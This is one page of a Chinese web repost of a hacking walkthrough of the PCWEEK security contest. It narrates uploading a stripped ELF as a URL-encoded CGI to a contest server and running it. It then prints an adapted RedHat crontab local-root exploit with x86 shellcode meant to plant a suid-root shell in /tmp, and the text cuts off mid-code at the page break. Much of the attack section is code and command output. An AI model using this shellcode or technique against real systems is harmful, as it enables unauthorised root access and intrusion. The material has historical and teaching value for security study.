您现在的位置: 快乐阅读网 >> 电脑网络 >> 网络安全 >> 正文 用户登录 新用户注册
PCWEEK 安全测试始末          【字体:
PCWEEK 安全测试始末
作者:网络    文章来源:zuowenw.com    点击数:    更新时间:2006-1-12    

本文《PCWEEK 安全测试始末》关键词:网络安全
我们的第6、7、8、9字节必须是0或者一个很小的值,以适应有关图形大小的规定……

#!/bi\00\00\00\00n/sh

这样是不行的,内核只读了前5字节,然后就试图去执行“#!/bi”……就我所知,还没有我们可以运行的3个字节(外加#!两个字节)的shell。又是死胡同……

一个ELF(linux的缺省的可执行文件的格式)文件给了我们答案,结果我们成功的将那几个字节置成了0x00,太妙了。

现在我们需要将一个ELF可执行文件放到远端的服务器上。我们必须使它符合URL的标准,因为我们只可以用GET的方法,不能用POST,这样我们至少要符合最长URI的限制。对于Apache服务器最长的URI为8190字节,别忘了我们还要用一个很大的1024个字符的数字,所以给我们的符合URL标准的ELF程序留下的空间只有7000字节了。

它只能是个小程序了。

lemming:~/pcweek/hack/POST# cat fin.c
#include <stdio.h>
main()
{
printf("Content-type: text/html\n\n\r");
fflush(stdout);
execlp("/usr/bin/find","find","/",0);
}

编译后如下:

lemming:~/pcweek/hack/POST# ls -l fin
-rwxr-xr-x 1 root root 4280 Sep 25 04:18 fin*
lemming:~/pcweek/hack/POST# strip fin
lemming:~/pcweek/hack/POST# ls -l fin
-rwxr-xr-x 1 root root 2812 Sep 25 04:18 fin*
lemming:~/pcweek/hack/POST#

然后让它符合URL的标准:

lemming:~/pcweek/hack/POST# ./to_url < fin > fin.url
lemming:~/pcweek/hack/POST# ls -l fin.url
-rw-r--r-- 1 root root 7602 Sep 25 04:20 fin.url

要在我们的脚本中使用的话,它是过大了。

我们只有靠我们的直觉来手工编辑这个二进制文件了,我们决定将这个可执行文件中“GCC”字符串后的所有内容都删除。这么做几乎没有任何理论的根据,如果要根据的话就得研究ELF规范了,但是这么做似乎还可以:

lemming:~/pcweek/hack/POST# joe fin
lemming:~/pcweek/hack/POST# ls -l fin
-rwxr-xr-x 1 root root 1693 Sep 25 04:22 fin*
lemming:~/pcweek/hack/POST# ./to_url < fin > fin.url
lemming:~/pcweek/hack/POST# ls -l fin.url
-rw-r--r-- 1 root root 4535 Sep 25 04:22 fin.url
lemming:~/pcweek/hack/POST#

现在,我们合并我们的工作成果,然后运行……

我们查看在我们目录中的名为get、sec、find的文件,希望获得更多的信息。

在这里你会找到to_url 脚本,和一些简单的C文件,这些东西和URL一起解析,就大功告成了。

现在我们上载这个CGI,然后用我们喜欢的浏览器访问它:

wget http://securelinux.hackpcweek.com/photoads/cgi-bin/advisory.cgi

这样我们对服务器上的/ 进行了全面的查找。

但是他们的“绝密”文件没在那,或者以nobody的身份无法访问。

我们尝试了一些命令组合,如locate、ls和一些其他命令,但无济于事。

如果这个文件存在,那么它究竟在哪。

现在问题严重了,必须要root的权限了。正象我的一位朋友说的那样,有现成的为什么不用呢?所以,根据我们知道的有关那台服务器的情况(Linux,i386,因为我机器就是i386,并且我的那个ELF文件已经在它上面运行了)。我们查找了软件更新的数据,发现了一个对所有版本的RedHat都可以利用的crontab漏洞(译者注:细节将在后面讨论)。

你可以在最近的 bugtraq/securityfocus 中找到。太好了,我们根据我们的需要对其加以修改,显然我们根本不需要一个交互的根用户shell,我们只要做一个nobody可访问的suidroot的shell就行了:

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <pwd.h>
char shellcode[] =
"\xeb\x40\x5e\x89\x76\x0c\x31\xc0\x89\x46\x0b\x89\xf3\xeb"
"\x27w00w00:Ifwewerehackerswedownyourdumbass\x8d\x4e"
"\x0c\x31\xd2\x89\x56\x16\xb0\x0b\xcd\x80\xe8\xbb\xff\xff"
"\xff/tmp/w00w00";
int main(int argc,char *argv[])
{
FILE *cfile,*tmpfile;
struct stat sbuf;
int x;
chdir("/tmp");
cfile = fopen("/tmp/cronny","a+");
tmpfile = fopen("/tmp/w00w00","a+"); // ,S_IXUSR|S_IXGRP|S_IXOTH);
fprintf(cfile,"MAILTO=");
for(x=0;x<96;x++)
fprintf(cfile,"w00w00 ");
fprintf(cfile,"%s",shellcode);
fprintf(cfile,"\n*

上一页  [1] [2] [3] [4] [5] [6] 下一页






::发表评论::
 姓 名:
 评 分: 1分 2分 3分 4分 5分
 评论内容:

严禁发表危害国家安全、政治、黄色淫秽等内容的评论。
用户需对自己在使用快乐阅读网 www.zuowenw.com 服务过程中的行为承担责任。
本站管理员有权保留或删除评论内容。
评论内容只代表网友个人观点,与本网站立场无关。

  网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
文章录入:admin    责任编辑:admin 
  • 上一篇文章:

  • 下一篇文章:
  • 发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    最新热点 最新推荐 相关文章
    系统的进程列表
    端口表查询
    注册表之最强版
    台湾政府网站地址及IP
    TCP/IP攻击原理
    基于Telnet协议的攻击
    浅谈139/445与入侵2K主机
    对于没有开IPC$的主机 上传下…
    基于WAP的QQ消息洪水攻击
    NT的简单攻击(II)流光攻…